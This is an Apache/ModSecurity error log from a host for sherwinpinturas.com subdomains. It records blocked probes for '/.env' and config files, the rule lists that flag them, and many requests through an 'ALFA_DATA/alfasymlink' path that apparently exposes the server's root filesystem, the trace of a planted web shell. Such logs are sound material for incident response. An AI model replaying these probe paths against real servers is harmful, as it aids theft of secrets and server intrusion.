[Mon Oct 26 08:23:13.519080 2026] [security2:error] [pid 3023393:tid 3023393] [client 216.244.66.250:56670] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at9GMRuQQn9l7nrKN7L55gAAABo"]
[Mon Oct 26 08:23:13.519470 2026] [security2:error] [pid 3023393:tid 3023393] [client 216.244.66.250:56670] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at9GMRuQQn9l7nrKN7L55gAAABo"]
[Mon Oct 26 08:23:13.519766 2026] [security2:error] [pid 3023393:tid 3023393] [client 216.244.66.250:56670] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "at9GMRuQQn9l7nrKN7L55gAAABo"]
[Mon Oct 26 08:23:14.172886 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 18.208.11.93:8717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:22.327778 2026] [ssl:error] [pid 3024447:tid 3024447] (70014)End of file found: [client 54.90.8.255:32428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:22.713181 2026] [security2:error] [pid 3024455:tid 3024455] [client 130.12.180.166:44416] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9GOtznO4d1yCQgc5RBDgAAABY"]
[Mon Oct 26 08:23:22.713429 2026] [security2:error] [pid 3024455:tid 3024455] [client 130.12.180.166:44416] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9GOtznO4d1yCQgc5RBDgAAABY"]
[Mon Oct 26 08:23:22.713698 2026] [security2:error] [pid 3024455:tid 3024455] [client 130.12.180.166:44416] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9GOtznO4d1yCQgc5RBDgAAABY"]
[Mon Oct 26 08:23:22.713791 2026] [security2:error] [pid 3024455:tid 3024455] [client 130.12.180.166:44416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9GOtznO4d1yCQgc5RBDgAAABY"]
[Mon Oct 26 08:23:22.713864 2026] [security2:error] [pid 3024455:tid 3024455] [client 130.12.180.166:44416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9GOtznO4d1yCQgc5RBDgAAABY"]
[Mon Oct 26 08:23:34.268946 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.232.39.98:22766] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:36.467038 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 185.191.171.15:17964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:23:46.232685 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 52.6.232.201:15412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input0/device/subsystem/devices/device:14/eject
[Mon Oct 26 08:23:48.753509 2026] [security2:error] [pid 3015725:tid 3015725] [client 43.164.196.47:36984] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/hoteles4/"] [unique_id "at9GVAbLerFfv4dhcWT13AAAAAY"]
[Mon Oct 26 08:23:54.170823 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 34.204.150.196:58836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/new_id
[Mon Oct 26 08:23:54.171277 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.204.150.196:58836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/new_id"] [unique_id "at9GWhuQQn9l7nrKN7L56QAAABo"]
[Mon Oct 26 08:23:54.171305 2026] [security2:error] [pid 3023393:tid 3023393] [client 34.204.150.196:58836] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/new_id"] [unique_id "at9GWhuQQn9l7nrKN7L56QAAABo"]
[Mon Oct 26 08:24:03.115016 2026] [core:error] [pid 3030186:tid 3030186] (13)Permission denied: [client 85.208.96.204:64152] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/partial
[Mon Oct 26 08:24:14.159377 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 54.85.126.86:6245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:22.153386 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 34.231.181.240:3711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0
[Mon Oct 26 08:24:26.267749 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 100.29.164.178:51741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:30.322926 2026] [core:error] [pid 3026994:tid 3026994] (13)Permission denied: [client 85.208.96.207:46856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/trace
[Mon Oct 26 08:24:30.544729 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 184.73.35.182:1452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:42.171925 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 107.20.181.148:64143] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:46.257132 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 54.156.124.2:22337] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:50.186889 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 54.157.84.74:41749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:24:57.381405 2026] [security2:error] [pid 3023736:tid 3023736] [client 107.172.76.131:53740] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9GjXtuNRyqJbUWH7JvnAAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:24:57.381483 2026] [security2:error] [pid 3023736:tid 3023736] [client 107.172.76.131:53740] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9GjXtuNRyqJbUWH7JvnAAAAAQ"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 08:24:58.164406 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 18.232.12.157:45055] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:25:01.255620 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Gj6XMILbsMtUzObzKwQAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:25:01.255671 2026] [security2:error] [pid 3015803:tid 3015803] [client 107.172.76.131:53616] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9Gj6XMILbsMtUzObzKwQAAAAg"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 08:25:02.158278 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 18.209.137.234:40495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:25:10.011669 2026] [core:error] [pid 3030179:tid 3030179] (13)Permission denied: [client 216.244.66.250:49826] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-4.18.0-80.7.1.el8_0.x86_64kdump.img
[Mon Oct 26 08:25:11.715322 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 85.208.96.204:10714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-192/total_objects
[Mon Oct 26 08:25:14.340924 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 98.83.178.66:27620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:01.2/remove
[Mon Oct 26 08:25:33.392117 2026] [core:crit] [pid 3019694:tid 3019694] (13)Permission denied: [client 85.208.96.204:27428] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/mail/spamassassin/sa-update-keys/private-keys-v1.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/mail/spamassassin/sa-update-keys/private-keys-v1.d/' is executable
[Mon Oct 26 08:25:42.275966 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 54.225.98.148:47525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:25:50.183540 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 100.25.120.246:22381] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:25:54.220067 2026] [ssl:error] [pid 3030179:tid 3030179] (70014)End of file found: [client 54.204.12.115:38432] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:25:58.179452 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.212.205.90:16154] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:26:10.175894 2026] [ssl:error] [pid 3030179:tid 3030179] (70014)End of file found: [client 44.197.76.210:53916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:26:14.183688 2026] [ssl:error] [pid 3026994:tid 3026994] (70014)End of file found: [client 34.227.156.153:52208] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:26:26.818042 2026] [core:error] [pid 3030179:tid 3030179] (13)Permission denied: [client 185.191.171.10:36596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/red_zone
[Mon Oct 26 08:26:30.263674 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 3.214.176.44:62267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:26:42.206260 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 35.173.18.61:35557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:02.200111 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 52.45.15.233:47397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:06.228297 2026] [ssl:error] [pid 3023408:tid 3023408] (70014)End of file found: [client 52.22.64.232:29617] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:26.242661 2026] [ssl:error] [pid 3026995:tid 3026995] (70014)End of file found: [client 98.84.60.17:55309] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:34.214631 2026] [ssl:error] [pid 3030186:tid 3030186] (70014)End of file found: [client 54.197.102.71:59640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:38.310442 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 52.0.41.164:56077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:27:51.491190 2026] [security2:error] [pid 3024443:tid 3024443] [client 107.172.76.131:53726] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9HPQ9c_Zz9LocrxF9edQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:27:51.491236 2026] [security2:error] [pid 3024443:tid 3024443] [client 107.172.76.131:53726] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at9HPQ9c_Zz9LocrxF9edQAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 08:27:54.175784 2026] [ssl:error] [pid 3030186:tid 3030186] (70014)End of file found: [client 50.17.193.48:24772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:28:02.146774 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 44.223.116.180:10555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:28:14.223294 2026] [ssl:error] [pid 3030186:tid 3030186] (70014)End of file found: [client 54.204.12.115:47765] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:28:22.328177 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 184.73.167.217:6416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:28:34.195093 2026] [ssl:error] [pid 3024455:tid 3024455] (70014)End of file found: [client 18.213.240.226:65298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:28:38.290928 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 44.218.170.184:19838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/serial/new_id
[Mon Oct 26 08:28:54.165362 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 35.168.238.50:39481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:29:07.198597 2026] [security2:error] [pid 3026995:tid 3026995] [client 185.191.171.13:61082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/less/php53/install.php"] [unique_id "at9HkwYFDPQbtsPixQxW4AAAAAI"]
[Mon Oct 26 08:29:07.198662 2026] [security2:error] [pid 3026995:tid 3026995] [client 185.191.171.13:61082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/less/php53/install.php"] [unique_id "at9HkwYFDPQbtsPixQxW4AAAAAI"]
[Mon Oct 26 08:29:12.366253 2026] [core:error] [pid 3030186:tid 3030186] (13)Permission denied: [client 85.208.96.205:64612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/objs_per_slab
[Mon Oct 26 08:29:14.380872 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 54.87.62.248:40201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:29:34.157844 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 54.225.81.20:52308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:29:38.227924 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 44.197.76.210:24430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:00.0/rescan
[Mon Oct 26 08:29:41.024072 2026] [security2:error] [pid 3015803:tid 3015803] [client 130.12.180.166:41448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9HtaXMILbsMtUzObzKyQAAAAg"]
[Mon Oct 26 08:29:41.024309 2026] [security2:error] [pid 3015803:tid 3015803] [client 130.12.180.166:41448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9HtaXMILbsMtUzObzKyQAAAAg"]
[Mon Oct 26 08:29:41.024591 2026] [security2:error] [pid 3015803:tid 3015803] [client 130.12.180.166:41448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9HtaXMILbsMtUzObzKyQAAAAg"]
[Mon Oct 26 08:30:02.162266 2026] [ssl:error] [pid 3023393:tid 3023393] (70014)End of file found: [client 18.215.24.66:58721] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:30:14.183504 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 54.163.169.168:54797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:30:30.209946 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 3.222.190.107:15954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:30:35.440613 2026] [core:error] [pid 3030186:tid 3030186] (13)Permission denied: [client 185.191.171.15:14410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf-frags/destroy_by_rcu
[Mon Oct 26 08:30:40.265574 2026] [core:error] [pid 3023393:tid 3023393] (13)Permission denied: [client 185.191.171.7:49000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/free_calls
[Mon Oct 26 08:30:54.164478 2026] [ssl:error] [pid 3015803:tid 3015803] (70014)End of file found: [client 100.28.57.133:50376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:30:58.247603 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 34.194.226.74:25123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/0000:00:04.0/resource4_wc
[Mon Oct 26 08:31:10.181846 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 52.202.233.37:16768] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:31:14.819436 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.166.126.132:29904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:31:26.187101 2026] [core:error] [pid 3031743:tid 3031743] (13)Permission denied: [client 44.194.139.149:47799] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/remove
[Mon Oct 26 08:31:34.179663 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 34.225.138.57:6318] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:31:38.146772 2026] [core:error] [pid 3024447:tid 3024447] (13)Permission denied: [client 52.1.106.130:65181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/ptmx/subsystem/ttyS2/iomem_base
[Mon Oct 26 08:31:42.143764 2026] [ssl:error] [pid 3031743:tid 3031743] (70014)End of file found: [client 18.207.79.144:46259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:31:56.005991 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 185.191.171.1:54808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objs_per_slab
[Mon Oct 26 08:31:58.170103 2026] [ssl:error] [pid 3031743:tid 3031743] (70014)End of file found: [client 3.221.244.28:6205] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:14.171076 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 52.1.157.90:22244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:18.553035 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 54.159.18.27:17889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:22.143472 2026] [ssl:error] [pid 3023345:tid 3023345] (70014)End of file found: [client 54.156.124.2:51360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:42.136319 2026] [ssl:error] [pid 3030179:tid 3030179] (70014)End of file found: [client 184.73.195.18:2567] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:46.288911 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 184.72.95.195:5054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:32:58.190516 2026] [core:error] [pid 3030179:tid 3030179] (13)Permission denied: [client 52.70.123.241:33742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0_wc
[Mon Oct 26 08:33:02.139971 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 50.19.102.70:47333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:33:30.158910 2026] [ssl:error] [pid 3023736:tid 3023736] (70014)End of file found: [client 44.220.2.97:46019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:33:42.151160 2026] [ssl:error] [pid 3031755:tid 3031755] (70014)End of file found: [client 44.207.252.58:19692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 08:33:46.142279 2026] [core:error] [pid 3031743:tid 3031743] (13)Permission denied: [client 3.223.134.5:41371] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/remove_id
[Mon Oct 26 08:33:52.540810 2026] [security2:error] [pid 3023736:tid 3023736] [client 43.164.196.47:36908] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/lentes.mp4"] [unique_id "at9IsHtuNRyqJbUWH7JvzgAAAAQ"]
[Mon Oct 26 08:33:54.010176 2026] [authz_core:error] [pid 3031755:tid 3031755] [client 46.101.236.149:39228] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 08:34:22.130369 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 98.82.39.241:36552] AH02013: coalesce failed to read from data bucket
